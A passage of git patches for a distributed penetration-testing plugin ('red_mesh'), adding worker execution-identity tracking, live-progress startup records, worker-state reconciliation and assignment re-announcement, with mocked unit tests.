+ @staticmethod + def _get_worker_assignment_revision(worker_entry): + """Return a normalized per-worker assignment revision.""" + if not isinstance(worker_entry, dict): + return 1 + try: + return int(worker_entry.get("assignment_revision", 1) or 1) + except (TypeError, ValueError): + return 1 + + def _build_execution_identity(self, job_id, pass_nr, worker_addr, assignment_revision): + """Return the worker execution identity used for local idempotency.""" + return (job_id, int(pass_nr or 1), worker_addr, int(assignment_revision or 1)) + + def _get_active_execution_identity(self, job_id): + identities = getattr(self, "_active_execution_identities", None) + if isinstance(identities, dict): + return identities.get(job_id) + return None + + def _remember_execution_identity(self, job_id, execution_identity, started_at): + identities = getattr(self, "_active_execution_identities", None) + if not isinstance(identities, dict): + identities = {} + self._active_execution_identities = identities + identities[job_id] = execution_identity + + meta = getattr(self, "_execution_live_meta", None) + if not isinstance(meta, dict): + meta = {} + self._execution_live_meta = meta + _, pass_nr, _, assignment_revision = execution_identity + meta[job_id] = { + "pass_nr": pass_nr, + "assignment_revision_seen": assignment_revision, + "started_at": started_at, + "first_seen_live_at": started_at, + "last_seen_at": started_at, + } + + def _forget_execution_identity(self, job_id): + identities = getattr(self, "_active_execution_identities", None) + if isinstance(identities, dict): + identities.pop(job_id, None) + meta = getattr(self, "_execution_live_meta", None) + if isinstance(meta, dict): + meta.pop(job_id, None) + + def _publish_worker_startup_progress(self, job_id, job_specs, local_jobs, assignment_revision, started_at): + """Publish an immediate worker-owned :live startup record after launch.""" + live_repo = PentesterApi01Plugin._get_job_state_repository(self) + ee_addr = self.ee_addr + pass_nr = 1 + if isinstance(job_specs, dict): + pass_nr = job_specs.get("job_pass", 1) + + scan_type = "network" + ports_total = 0 + threads = {} + for tid, worker in (local_jobs or {}).items(): + worker_scan_type = worker.state.get("scan_type") + if worker_scan_type == "webapp": + scan_type = "webapp" + initial_ports = getattr(worker, "initial_ports", []) or [] + ports_total += len(initial_ports) + threads[tid] = { + "phase": "preflight" if worker_scan_type == "webapp" else "port_scan", + "ports_scanned": 0, + "ports_total": len(initial_ports), + "open_ports_found": [], + } + + phase = "preflight" if scan_type == "webapp" else "port_scan" + total_phases = len(GRAYBOX_PHASE_ORDER) if scan_type == "webapp" else len(PHASE_ORDER) + progress = WorkerProgress( + job_id=job_id, + worker_addr=ee_addr, + pass_nr=pass_nr, + assignment_revision_seen=assignment_revision, + progress=0.0, + phase=phase, + scan_type=scan_type, + phase_index=1, + total_phases=total_phases, + ports_scanned=0, + ports_total=ports_total, + open_ports_found=[], + completed_tests=[], + updated_at=started_at, + started_at=started_at, + first_seen_live_at=started_at, + last_seen_at=started_at, + finished=False, + threads=threads if len(threads) > 1 else None, + ) + live_repo.put_live_progress_model(progress) + self.P( + "[LIVE->CSTORE] Published worker startup " + f"job_id={job_id} worker={ee_addr} pass={pass_nr} " + f"rev={assignment_revision} phase={phase} key={job_id}:{ee_addr}" + ) def _launch_job( @@ -714,6 +820,7 @@ def _maybe_launch_jobs(self, nr_local_workers=None): # Our worker entry was reset by launcher for next pass - clear local state self.P(f"Detected worker reset for job {job_id}, clearing local tracking for next pass") self.completed_jobs_reports.pop(job_id, None) + self._forget_execution_identity(job_id) if job_id in self.lst_completed_jobs: self.lst_completed_jobs.remove(job_id) is_closed_target = False @@ -737,6 +844,18 @@ def _maybe_launch_jobs(self, nr_local_workers=None): if end_port is None: self.P("No end port specified, defaulting to 65535.") end_port = 65535 + pass_nr = job_specs.get("job_pass", 1) + assignment_revision = PentesterApi01Plugin._get_worker_assignment_revision(worker_entry) + execution_identity = PentesterApi01Plugin._build_execution_identity( + self, job_id, pass_nr, self.ee_addr, assignment_revision + ) + active_identity = PentesterApi01Plugin._get_active_execution_identity(self, job_id) + if active_identity == execution_identity: + self.P( + f"Skipping duplicate launch for active execution identity {execution_identity}", + color='y', + ) + continue # Fetch job config from R1FS job_config = self._get_job_config(job_specs, resolve_secrets=True) try: @@ -762,7 +881,16 @@ def _maybe_launch_jobs(self, nr_local_workers=None): worker_entry["error"] = str(exc) PentesterApi01Plugin._write_job_record(self, job_id, job_specs, context="launch_error_exception") continue + started_at = self.time() self.scan_jobs[job_id] = local_jobs + self._remember_execution_identity(job_id, execution_identity, started_at) + self._publish_worker_startup_progress( + job_id, + job_specs, + local_jobs, + assignment_revision=assignment_revision, + started_at=started_at, + ) #endif need to launch new job #end for each potential new job #endif it is time to check @@ -914,11 +1042,19 @@ def _close_job(self, job_id, canceled=False): scan_type = "webapp" job_specs_pre = PentesterApi01Plugin._get_job_state_repository(self).get_job(job_id) pass_nr = job_specs_pre.get("job_pass", 1) if isinstance(job_specs_pre, dict) else 1 + worker_entry_pre = {} + if isinstance(job_specs_pre, dict): + worker_entry_pre = (job_specs_pre.get("workers") or {}).get(self.ee_addr) or {} + assignment_revision = PentesterApi01Plugin._get_worker_assignment_revision(worker_entry_pre) + live_meta = getattr(self, "_execution_live_meta", {}).get(job_id, {}) + started_at = live_meta.get("started_at", self.time()) + first_seen_live_at = live_meta.get("first_seen_live_at", started_at) total_phases = 5 done_progress = WorkerProgress( job_id=job_id, worker_addr=self.ee_addr, pass_nr=pass_nr, + assignment_revision_seen=assignment_revision, progress=100.0, phase="done", scan_type=scan_type, @@ -929,10 +1065,15 @@ def _close_job(self, job_id, canceled=False): open_ports_found=sorted(all_open), completed_tests=[], updated_at=self.time(), + started_at=started_at, + first_seen_live_at=first_seen_live_at, + last_seen_at=self.time(), + finished=True, ) PentesterApi01Plugin._get_job_state_repository(self).put_live_progress_model(done_progress) local_workers = self.scan_jobs.pop(job_id, None) + self._forget_execution_identity(job_id) if local_workers: # Resolve worker class for aggregation field registry first_worker = next(iter(local_workers.values()), None) diff --git a/extensions/business/cybersec/red_mesh/tests/test_integration.py b/extensions/business/cybersec/red_mesh/tests/test_integration.py index 964cc6e3..03a20638 100644 --- a/extensions/business/cybersec/red_mesh/tests/test_integration.py +++ b/extensions/business/cybersec/red_mesh/tests/test_integration.py @@ -138,6 +138,7 @@ def test_publish_live_progress(self): self.assertEqual(progress_data["job_id"], "job-1") self.assertEqual(progress_data["worker_addr"], "node-A") self.assertEqual(progress_data["pass_nr"], 3) + self.assertEqual(progress_data["assignment_revision_seen"], 1) self.assertEqual(progress_data["phase"], "service_probes") self.assertEqual(progress_data["scan_type"], "network") self.assertEqual(progress_data["phase_index"], 3) @@ -146,6 +147,10 @@ def test_publish_live_progress(self): self.assertEqual(progress_data["ports_total"], 512) self.assertIn(22, progress_data["open_ports_found"]) self.assertIn(80, progress_data["open_ports_found"]) + self.assertEqual(progress_data["started_at"], 100.0) + self.assertEqual(progress_data["first_seen_live_at"], 100.0) + self.assertEqual(progress_data["last_seen_at"], 100.0) + self.assertFalse(progress_data["finished"]) # Stage-based progress: service_probes = stage 3 (idx 2), so 2/5*100 = 40% self.assertEqual(progress_data["progress"], 40.0) # Single thread — no threads field @@ -322,6 +327,119 @@ def test_publish_live_progress_webapp_phase_metadata(self): self.assertEqual(progress_data["phase_index"], 4) self.assertEqual(progress_data["total_phases"], 5) + def test_maybe_launch_jobs_publishes_worker_startup_live_progress(self): + """Assigned worker launch writes an immediate startup record to :live.""" + Plugin = self._get_plugin_class() + plugin = MagicMock() + plugin.cfg_instance_id = "test-instance" + plugin.cfg_check_jobs_each = 15 + plugin.ee_addr = "node-A" + plugin.scan_jobs = {} + plugin.completed_jobs_reports = {} + plugin.lst_completed_jobs = [] + plugin._active_execution_identities = {} + plugin._execution_live_meta = {} + plugin._foreign_jobs_logged = set() + plugin._PentesterApi01Plugin__last_checked_jobs = 0 + plugin.time.side_effect = [100.0, 100.0, 100.0] + plugin._normalize_job_record.side_effect = lambda job_id, payload, migrate=True: (job_id, payload) + plugin._get_job_config.return_value = {"scan_type": "network"} + plugin.P = MagicMock() + plugin._get_worker_entry = lambda job_id, spec: Plugin._get_worker_entry(plugin, job_id, spec) + plugin._remember_execution_identity = lambda job_id, identity, started_at: Plugin._remember_execution_identity( + plugin, job_id, identity, started_at + ) + plugin._publish_worker_startup_progress = lambda job_id, job_specs, local_jobs, assignment_revision, started_at: ( + Plugin._publish_worker_startup_progress( + plugin, + job_id, + job_specs, + local_jobs, + assignment_revision, + started_at, + ) + ) + + job_specs = { + "job_id": "job-1", + "target": "10.0.0.1", + "job_pass": 2, + "launcher": "node-launcher", + "launcher_alias": "rm1", + "workers": { + "node-A": { + "start_port": 1, + "end_port": 100, + "assignment_revision": 2, + }, + }, + } + plugin.chainstore_hgetall.return_value = {"job-1": job_specs} + + worker = MagicMock() + worker.state = {"scan_type": "network"} + worker.initial_ports = list(range(1, 101)) + local_jobs = {"local-1": worker} + + with patch("extensions.business.cybersec.red_mesh.pentester_api_01.launch_local_jobs", return_value=local_jobs): + Plugin._maybe_launch_jobs(plugin) + + self.assertEqual(plugin.scan_jobs["job-1"], local_jobs) + startup_progress = plugin.chainstore_hset.call_args.kwargs["value"] + self.assertEqual(startup_progress["job_id"], "job-1") + self.assertEqual(startup_progress["pass_nr"], 2) + self.assertEqual(startup_progress["assignment_revision_seen"], 2) + self.assertEqual(startup_progress["phase"], "port_scan") + self.assertEqual(startup_progress["started_at"], 100.0) + self.assertEqual(plugin._active_execution_identities["job-1"], ("job-1", 2, "node-A", 2)) + + def test_maybe_launch_jobs_skips_duplicate_execution_identity(self): + """A repeated announce of the same execution identity does not relaunch.""" + Plugin = self._get_plugin_class() + plugin = MagicMock() + plugin.cfg_instance_id = "test-instance" + plugin.cfg_check_jobs_each = 15 + plugin.ee_addr = "node-A" + plugin.scan_jobs = {"job-1": {"local-1": MagicMock()}} + plugin.completed_jobs_reports = {} + plugin.lst_completed_jobs = [] + plugin._active_execution_identities = {"job-1": ("job-1", 2, "node-A", 2)} + plugin._execution_live_meta = { + "job-1": { + "pass_nr": 2, + "assignment_revision_seen": 2, + "started_at": 95.0, + "first_seen_live_at": 95.0, + }, + } + plugin._foreign_jobs_logged = set() + plugin._PentesterApi01Plugin__last_checked_jobs = 0 + plugin.time.return_value = 100.0 + plugin._normalize_job_record.side_effect = lambda job_id, payload, migrate=True: (job_id, payload) + plugin.P = MagicMock() + plugin._get_worker_entry = lambda job_id, spec: Plugin._get_worker_entry(plugin, job_id, spec) + + job_specs = { + "job_id": "job-1", + "target": "10.0.0.1", + "job_pass": 2, + "launcher": "node-launcher", + "launcher_alias": "rm1", + "workers": { + "node-A": { + "start_port": 1, + "end_port": 100, + "assignment_revision": 2, + }, + }, + } + plugin.chainstore_hgetall.return_value = {"job-1": job_specs} + + with patch("extensions.business.cybersec.red_mesh.pentester_api_01.launch_local_jobs") as mocked_launch: + Plugin._maybe_launch_jobs(plugin) + + mocked_launch.assert_not_called() + def test_clear_live_progress(self): """_clear_live_progress deletes progress keys for all workers.""" Plugin = self._get_plugin_class() From 584d5b775377fe75a71650803bb653b930133ace Mon Sep 17 00:00:00 2001 From: toderian Date: Mon, 16 Mar 2026 11:02:30 +0000 Subject: [PATCH 097/114] feat(redmesh): reconcile worker live state --- .../cybersec/red_mesh/services/__init__.py | 2 + .../cybersec/red_mesh/services/query.py | 16 +-- .../red_mesh/services/reconciliation.py | 108 ++++++++++++++++++ .../cybersec/red_mesh/tests/test_api.py | 21 +++- .../red_mesh/tests/test_integration.py | 106 ++++++++++++++++- 5 files changed, 242 insertions(+), 11 deletions(-) create mode 100644 extensions/business/cybersec/red_mesh/services/reconciliation.py diff --git a/extensions/business/cybersec/red_mesh/services/__init__.py b/extensions/business/cybersec/red_mesh/services/__init__.py index 52bd8e2c..58453139 100644 --- a/extensions/business/cybersec/red_mesh/services/__init__.py +++ b/extensions/business/cybersec/red_mesh/services/__init__.py @@ -26,6 +26,7 @@ list_local_jobs, list_network_jobs, ) +from .reconciliation import reconcile_job_workers from .secrets import ( R1fsSecretStore, collect_secret_refs_from_job_config, @@ -85,6 +86,7 @@ "collect_secret_refs_from_job_config", "resolve_active_peers", "resolve_enabled_features", + "reconcile_job_workers", "set_job_status", "stop_and_delete_job", "stop_monitoring", diff --git a/extensions/business/cybersec/red_mesh/services/query.py b/extensions/business/cybersec/red_mesh/services/query.py index 0660ed4d..3af33c10 100644 --- a/extensions/business/cybersec/red_mesh/services/query.py +++ b/extensions/business/cybersec/red_mesh/services/query.py @@ -1,5 +1,6 @@ from ..models import JobArchive from ..repositories import ArtifactRepository, JobStateRepository +from .reconciliation import reconcile_job_workers from .triage import get_job_archive_with_triage @@ -247,21 +248,22 @@ def get_job_progress(owner, job_id: str): """ Return real-time progress for all workers in the given job. """ - live_hkey = f"{owner.cfg_instance_id}:live" all_progress = _job_repo(owner).list_live_progress() or {} - prefix = f"{job_id}:" - result = {} - for key, value in all_progress.items(): - if key.startswith(prefix) and value is not None: - worker_addr = key[len(prefix):] - result[worker_addr] = value job_specs = _job_repo(owner).get_job(job_id) status = None scan_type = None + result = {} if isinstance(job_specs, dict): status = job_specs.get("job_status") scan_type = job_specs.get("scan_type") + result = reconcile_job_workers(owner, job_specs, live_payloads=all_progress) + else: + prefix = f"{job_id}:" + for key, value in all_progress.items(): + if key.startswith(prefix) and value is not None: + worker_addr = key[len(prefix):] + result[worker_addr] = value return {"job_id": job_id, "status": status, "scan_type": scan_type, "workers": result} diff --git a/extensions/business/cybersec/red_mesh/services/reconciliation.py b/extensions/business/cybersec/red_mesh/services/reconciliation.py new file mode 100644 index 00000000..abbf262d --- /dev/null +++ b/extensions/business/cybersec/red_mesh/services/reconciliation.py @@ -0,0 +1,108 @@ +from ..models import WorkerProgress + + +def _safe_int(value, default): + try: + return int(value) + except (TypeError, ValueError): + return default + + +def _safe_float(value, default=None): + try: + return float(value) + except (TypeError, ValueError): + return default + + +def _distributed_stale_timeout(owner): + timeout = getattr(owner, "cfg_distributed_stale_timeout", None) + if timeout is None: + config = getattr(owner, "CONFIG", None) + if isinstance(config, dict): + timeout = config.get("DISTRIBUTED_STALE_TIMEOUT") + timeout = _safe_float(timeout, 120.0) + if timeout is None or timeout <= 0: + return 120.0 + return timeout + + +def _matched_live_progress(job_id, worker_addr, pass_nr, assignment_revision, live_payloads): + key = f"{job_id}:{worker_addr}" + payload = (live_payloads or {}).get(key) + if not isinstance(payload, dict): + return None, None + live = WorkerProgress.from_dict(payload) + if live.job_id != job_id: + return None, "job_mismatch" + if live.pass_nr != pass_nr: + return None, "pass_mismatch" + if live.assignment_revision_seen != assignment_revision: + return None, "revision_mismatch" + return live, None + + +def reconcile_job_workers(owner, job_specs, *, live_payloads=None, now=None): + """ + Merge launcher-owned worker assignments with worker-owned :live state. + + Returned worker entries always include launcher assignment metadata and a + derived ``worker_state``. Matched ``:live`` payloads are folded into the + same per-worker dict so API consumers and launcher logic interpret state + through one canonical path. + """ + if not isinstance(job_specs, dict): + return {} + + job_id = job_specs.get("job_id") + pass_nr = _safe_int(job_specs.get("job_pass", 1), 1) + workers = job_specs.get("workers") or {} + live_payloads = live_payloads or {} + stale_timeout = _distributed_stale_timeout(owner) + if now is None: + time_fn = getattr(owner, "time", None) + if callable(time_fn): + now = _safe_float(time_fn(), None) + + reconciled = {} + for worker_addr, raw_worker_entry in workers.items(): + worker_entry = dict(raw_worker_entry or {}) + assignment_revision = _safe_int(worker_entry.get("assignment_revision", 1), 1) + live, ignored_reason = _matched_live_progress( + job_id, + worker_addr, + pass_nr, + assignment_revision, + live_payloads, + ) + + state = "unseen" + if worker_entry.get("terminal_reason") == "unreachable": + state = "unreachable" + elif worker_entry.get("finished"): + state = "failed" if worker_entry.get("error") else "finished" + elif live is not None: + if live.error: + state = "failed" + elif live.finished: + state = "finished" + else: + last_seen_at = _safe_float(live.last_seen_at, _safe_float(live.updated_at, None)) + if now is not None and last_seen_at is not None and now - last_seen_at > stale_timeout: + state = "stale" + elif live.started_at: + state = "started" if _safe_float(live.progress, 0.0) <= 0 else "active" + + payload = dict(worker_entry) + payload["worker_addr"] = worker_addr + payload["pass_nr"] = pass_nr + payload["assignment_revision"] = assignment_revision + payload["worker_state"] = state + + if live is not None: + payload.update(live.to_dict()) + elif ignored_reason: + payload["ignored_live_reason"] = ignored_reason + + reconciled[worker_addr] = payload + return reconciled diff --git a/extensions/business/cybersec/red_mesh/tests/test_api.py b/extensions/business/cybersec/red_mesh/tests/test_api.py index 23e0ac05..449801ef 100644 --- a/extensions/business/cybersec/red_mesh/tests/test_api.py +++ b/extensions/business/cybersec/red_mesh/tests/test_api.py @@ -2321,11 +2321,30 @@ def test_get_job_progress_returns_job_status(self): Plugin = self._get_plugin_class() running = self._build_running_job("run-job", pass_count=2) plugin = self._build_plugin({"run-job": running}) - plugin.chainstore_hgetall.return_value = {"run-job:worker-A": {"job_id": "run-job", "progress": 50}} + plugin.chainstore_hgetall.return_value = { + "run-job:worker-A": { + "job_id": "run-job", + "worker_addr": "worker-A", + "pass_nr": running["job_pass"], + "assignment_revision_seen": 1, + "progress": 50, + "phase": "service_probes", + "ports_scanned": 50, + "ports_total": 100, + "open_ports_found": [], + "completed_tests": [], + "updated_at": 100.0, + "started_at": 90.0, + "first_seen_live_at": 90.0, + "last_seen_at": 100.0, + }, + } + plugin.time.return_value = 100.0 result = Plugin.get_job_progress(plugin, job_id="run-job") self.assertEqual(result["status"], "RUNNING") self.assertIn("worker-A", result["workers"]) + self.assertEqual(result["workers"]["worker-A"]["worker_state"], "active") def test_get_job_archive_not_found(self): """get_job_archive for non-existent job returns not_found.""" diff --git a/extensions/business/cybersec/red_mesh/tests/test_integration.py b/extensions/business/cybersec/red_mesh/tests/test_integration.py index 03a20638..f48aa7d9 100644 --- a/extensions/business/cybersec/red_mesh/tests/test_integration.py +++ b/extensions/business/cybersec/red_mesh/tests/test_integration.py @@ -75,12 +75,51 @@ def test_get_job_progress_filters_by_job(self): # Simulate two jobs' progress in the :live hset live_data = { - "job-A:worker-1": {"job_id": "job-A", "progress": 50}, - "job-A:worker-2": {"job_id": "job-A", "progress": 75}, + "job-A:worker-1": { + "job_id": "job-A", + "worker_addr": "worker-1", + "pass_nr": 1, + "assignment_revision_seen": 1, + "progress": 50, + "phase": "service_probes", + "ports_scanned": 50, + "ports_total": 100, + "open_ports_found": [], + "completed_tests": [], + "updated_at": 100.0, + "started_at": 90.0, + "first_seen_live_at": 90.0, + "last_seen_at": 100.0, + }, + "job-A:worker-2": { + "job_id": "job-A", + "worker_addr": "worker-2", + "pass_nr": 1, + "assignment_revision_seen": 1, + "progress": 75, + "phase": "web_tests", + "ports_scanned": 75, + "ports_total": 100, + "open_ports_found": [], + "completed_tests": [], + "updated_at": 100.0, + "started_at": 90.0, + "first_seen_live_at": 90.0, + "last_seen_at": 100.0, + }, "job-B:worker-3": {"job_id": "job-B", "progress": 30}, } plugin.chainstore_hgetall.return_value = live_data - plugin.chainstore_hget.return_value = {"job_status": "RUNNING"} + plugin.chainstore_hget.return_value = { + "job_id": "job-A", + "job_status": "RUNNING", + "job_pass": 1, + "workers": { + "worker-1": {"start_port": 1, "end_port": 100, "assignment_revision": 1}, + "worker-2": {"start_port": 101, "end_port": 200, "assignment_revision": 1}, + }, + } + plugin.time.return_value = 100.0 result = Plugin.get_job_progress(plugin, job_id="job-A") self.assertEqual(result["job_id"], "job-A") @@ -89,6 +128,8 @@ def test_get_job_progress_filters_by_job(self): self.assertIn("worker-1", result["workers"]) self.assertIn("worker-2", result["workers"]) self.assertNotIn("worker-3", result["workers"]) + self.assertEqual(result["workers"]["worker-1"]["worker_state"], "active") + self.assertEqual(result["workers"]["worker-2"]["worker_state"], "active") def test_get_job_progress_empty(self): """get_job_progress for non-existent job returns empty workers dict.""" @@ -103,6 +144,65 @@ def test_get_job_progress_empty(self): self.assertIsNone(result["status"]) self.assertEqual(result["workers"], {}) + def test_get_job_progress_marks_unseen_assigned_worker(self): + """Assigned workers with no matching :live record are surfaced as unseen.""" + Plugin = self._get_plugin_class() + plugin = MagicMock() + plugin.cfg_instance_id = "test-instance" + plugin.chainstore_hgetall.return_value = {} + plugin.chainstore_hget.return_value = { + "job_id": "job-A", + "job_status": "RUNNING", + "job_pass": 3, + "workers": { + "worker-1": {"start_port": 1, "end_port": 10, "assignment_revision": 2}, + }, + } + plugin.time.return_value = 100.0 + + result = Plugin.get_job_progress(plugin, job_id="job-A") + + self.assertEqual(result["workers"]["worker-1"]["worker_state"], "unseen") + self.assertEqual(result["workers"]["worker-1"]["assignment_revision"], 2) + + def test_get_job_progress_ignores_live_from_old_revision(self): + """Mismatched live revision is ignored for the current assignment.""" + Plugin = self._get_plugin_class() + plugin = MagicMock() + plugin.cfg_instance_id = "test-instance" + plugin.chainstore_hgetall.return_value = { + "job-A:worker-1": { + "job_id": "job-A", + "worker_addr": "worker-1", + "pass_nr": 1, + "assignment_revision_seen": 1, + "progress": 60, + "phase": "service_probes", + "ports_scanned": 60, + "ports_total": 100, + "open_ports_found": [], + "completed_tests": [], + "updated_at": 100.0, + "started_at": 90.0, + "first_seen_live_at": 90.0, + "last_seen_at": 100.0, + }, + } + plugin.chainstore_hget.return_value = { + "job_id": "job-A", + "job_status": "RUNNING", + "job_pass": 1, + "workers": { + "worker-1": {"start_port": 1, "end_port": 10, "assignment_revision": 2}, + }, + } + plugin.time.return_value = 100.0 + + result = Plugin.get_job_progress(plugin, job_id="job-A") + + self.assertEqual(result["workers"]["worker-1"]["worker_state"], "unseen") + self.assertEqual(result["workers"]["worker-1"]["ignored_live_reason"], "revision_mismatch") + def test_publish_live_progress(self): """_publish_live_progress writes stage-based progress to CStore :live hset.""" Plugin = self._get_plugin_class() From f4b57194959f1af4601dd84b5a230f4d3c14e89a Mon Sep 17 00:00:00 2001 From: toderian Date: Mon, 16 Mar 2026 11:05:11 +0000 Subject: [PATCH 098/114] feat(redmesh): reannounce missing worker assignments --- .../cybersec/red_mesh/pentester_api_01.py | 98 +++++++++++ .../red_mesh/tests/test_integration.py | 158 ++++++++++++++++++ 2 files changed, 256 insertions(+) diff --git a/extensions/business/cybersec/red_mesh/pentester_api_01.py b/extensions/business/cybersec/red_mesh/pentester_api_01.py index c45d4dce..bc4a8d3c 100644 --- a/extensions/business/cybersec/red_mesh/pentester_api_01.py +++ b/extensions/business/cybersec/red_mesh/pentester_api_01.py @@ -94,6 +94,7 @@ normalize_common_launch_options, parse_exceptions, purge_job, + reconcile_job_workers, resolve_job_config_secrets, resolve_active_peers, resolve_enabled_features, @@ -241,6 +242,7 @@ def on_init(self): self._artifact_repository = ArtifactRepository(self) self._active_execution_identities = {} # {job_id: (job_id, pass_nr, worker_addr, assignment_revision)} self._execution_live_meta = {} # {job_id: startup metadata for worker-owned :live publishing} + self._last_worker_reconcile_check = 0 self._foreign_jobs_logged = set() # job IDs we already logged "no worker entry" for self.__warmupstart = self.time() self.__warmup_done = False @@ -923,6 +925,100 @@ def _log_audit_event(self, event_type, details): self._audit_log.append(entry) return + def _maybe_reannounce_worker_assignments(self): + """ + Launcher-only reconciliation pass for unseen or stale assigned workers. + + This phase only performs bounded per-worker re-announcement by bumping the + worker-specific assignment revision. Explicit terminal failure after retry + exhaustion is handled separately. + """ + now = self.time() + if now - self._last_worker_reconcile_check <= self.cfg_check_jobs_each: + return + self._last_worker_reconcile_check = now + + all_jobs = PentesterApi01Plugin._get_job_state_repository(self).list_jobs() or {} + live_payloads = PentesterApi01Plugin._get_job_state_repository(self).list_live_progress() or {} + + for job_key, raw_job_specs in all_jobs.items(): + normalized_key, job_specs = self._normalize_job_record(job_key, raw_job_specs, migrate=True) + if normalized_key is None or not isinstance(job_specs, dict): + continue + if job_specs.get("job_cid"): + continue + if job_specs.get("launcher") != self.ee_addr: + continue + if is_terminal_job_status(job_specs.get("job_status")): + continue + + reconciled_workers = reconcile_job_workers(self, job_specs, live_payloads=live_payloads, now=now) + if not reconciled_workers: + continue + + startup_timeout = float(self.cfg_distributed_startup_timeout) + stale_grace = float(self.cfg_distributed_stale_grace) + max_retries = int(self.cfg_distributed_max_reannounce_attempts) + job_changed = False + + for worker_addr, worker_state in reconciled_workers.items(): + if worker_state.get("finished"): + continue + + worker_status = worker_state.get("worker_state") + if worker_status not in {"unseen", "stale"}: + continue + + reannounce_count = int(worker_state.get("reannounce_count", 0) or 0) + if reannounce_count >= max_retries: + continue + + assigned_at = worker_state.get("assigned_at") or job_specs.get("date_created") or now + last_reannounce_at = worker_state.get("last_reannounce_at") + elapsed_since_trigger = now - float(last_reannounce_at or assigned_at) + retry_reason = None + + if worker_status == "unseen" and elapsed_since_trigger >= startup_timeout: + retry_reason = "startup_timeout" + elif worker_status == "stale": + last_seen_at = worker_state.get("last_seen_at") or worker_state.get("updated_at") or assigned_at + if now - float(last_seen_at) >= stale_grace and elapsed_since_trigger >= stale_grace: + retry_reason = "stale_live" + + if not retry_reason: + continue + + target_worker = (job_specs.get("workers") or {}).get(worker_addr) + if not isinstance(target_worker, dict): + continue + + current_revision = PentesterApi01Plugin._get_worker_assignment_revision(target_worker) + target_worker["assignment_revision"] = current_revision + 1 + target_worker["reannounce_count"] = reannounce_count + 1 + target_worker["last_reannounce_at"] = now + target_worker["retry_reason"] = retry_reason + target_worker.setdefault("assigned_at", assigned_at) + job_changed = True + + self.P( + "[CSTORE] Re-announcing worker assignment " + f"job_id={normalized_key} worker={worker_addr} " + f"old_rev={current_revision} new_rev={target_worker['assignment_revision']} " + f"reason={retry_reason} retries={target_worker['reannounce_count']}", + color='y', + ) + self._log_audit_event("worker_assignment_reannounced", { + "job_id": normalized_key, + "worker_addr": worker_addr, + "old_revision": current_revision, + "new_revision": target_worker["assignment_revision"], + "retry_reason": retry_reason, + "reannounce_count": target_worker["reannounce_count"], + }) + + if job_changed: + PentesterApi01Plugin._write_job_record(self, normalized_key, job_specs, context="worker_reannounce") + def _get_job_revision(self, job_specs): """Return a normalized revision for mutable CStore job records.""" if not isinstance(job_specs, dict): @@ -2214,6 +2310,8 @@ def process(self): self._maybe_launch_jobs() # Publish live progress for active scans self._publish_live_progress() + # Launcher-side retry path for missed worker announcements + self._maybe_reannounce_worker_assignments() # Stop local workers for jobs that were stopped via API (multi-node propagation) self._maybe_stop_canceled_jobs() # Check active jobs for completion diff --git a/extensions/business/cybersec/red_mesh/tests/test_integration.py b/extensions/business/cybersec/red_mesh/tests/test_integration.py index f48aa7d9..7800dd13 100644 --- a/extensions/business/cybersec/red_mesh/tests/test_integration.py +++ b/extensions/business/cybersec/red_mesh/tests/test_integration.py @@ -540,6 +540,164 @@ def test_maybe_launch_jobs_skips_duplicate_execution_identity(self): mocked_launch.assert_not_called() + def test_maybe_reannounce_worker_assignments_retries_unseen_worker_only(self): + """Launcher bumps only the missing worker assignment revision.""" + Plugin = self._get_plugin_class() + plugin = MagicMock() + plugin.cfg_instance_id = "test-instance" + plugin.ee_addr = "node-launcher" + plugin.cfg_check_jobs_each = 15 + plugin.cfg_distributed_startup_timeout = 30 + plugin.cfg_distributed_stale_grace = 20 + plugin.cfg_distributed_max_reannounce_attempts = 3 + plugin._last_worker_reconcile_check = 0 + plugin._normalize_job_record.side_effect = lambda job_id, payload, migrate=True: (job_id, payload) + plugin.P = MagicMock() + plugin._log_audit_event = MagicMock() + plugin.time.return_value = 100.0 + + job_specs = { + "job_id": "job-1", + "job_status": "RUNNING", + "job_pass": 1, + "run_mode": "SINGLEPASS", + "launcher": "node-launcher", + "launcher_alias": "rm1", + "target": "10.0.0.1", + "start_port": 1, + "end_port": 200, + "date_created": 10.0, + "job_config_cid": "QmConfig", + "workers": { + "worker-B": { + "start_port": 1, + "end_port": 100, + "assignment_revision": 1, + "assigned_at": 10.0, + }, + "worker-C": { + "start_port": 101, + "end_port": 200, + "assignment_revision": 1, + "assigned_at": 10.0, + }, + }, + "timeline": [], + "pass_reports": [], + "job_revision": 0, + } + live_payloads = { + "job-1:worker-B": { + "job_id": "job-1", + "worker_addr": "worker-B", + "pass_nr": 1, + "assignment_revision_seen": 1, + "progress": 25.0, + "phase": "service_probes", + "ports_scanned": 25, + "ports_total": 100, + "open_ports_found": [], + "completed_tests": [], + "updated_at": 100.0, + "started_at": 20.0, + "first_seen_live_at": 20.0, + "last_seen_at": 100.0, + }, + } + + def _hgetall(*, hkey): + if hkey == "test-instance": + return {"job-1": dict(job_specs)} + if hkey == "test-instance:live": + return dict(live_payloads) + return {} + + plugin.chainstore_hgetall.side_effect = _hgetall + plugin.chainstore_hget.return_value = dict(job_specs) + + Plugin._maybe_reannounce_worker_assignments(plugin) + + persisted = plugin.chainstore_hset.call_args.kwargs["value"] + self.assertEqual(persisted["workers"]["worker-B"]["assignment_revision"], 1) + self.assertEqual(persisted["workers"]["worker-C"]["assignment_revision"], 2) + self.assertEqual(persisted["workers"]["worker-C"]["reannounce_count"], 1) + self.assertEqual(persisted["workers"]["worker-C"]["retry_reason"], "startup_timeout") + + def test_maybe_reannounce_worker_assignments_retries_stale_worker(self): + """Launcher retries a matched worker whose live state is stale past grace.""" + Plugin = self._get_plugin_class() + plugin = MagicMock() + plugin.cfg_instance_id = "test-instance" + plugin.ee_addr = "node-launcher" + plugin.cfg_check_jobs_each = 15 + plugin.cfg_distributed_startup_timeout = 30 + plugin.cfg_distributed_stale_grace = 20 + plugin.cfg_distributed_max_reannounce_attempts = 3 + plugin._last_worker_reconcile_check = 0 + plugin._normalize_job_record.side_effect = lambda job_id, payload, migrate=True: (job_id, payload) + plugin.P = MagicMock() + plugin._log_audit_event = MagicMock() + plugin.time.return_value = 100.0 + + job_specs = { + "job_id": "job-2", + "job_status": "RUNNING", + "job_pass": 1, + "run_mode": "SINGLEPASS", + "launcher": "node-launcher", + "launcher_alias": "rm1", + "target": "10.0.0.2", + "start_port": 1, + "end_port": 100, + "date_created": 10.0, + "job_config_cid": "QmConfig", + "workers": { + "worker-C": { + "start_port": 1, + "end_port": 100, + "assignment_revision": 1, + "assigned_at": 10.0, + }, + }, + "timeline": [], + "pass_reports": [], + "job_revision": 0, + } + live_payloads = 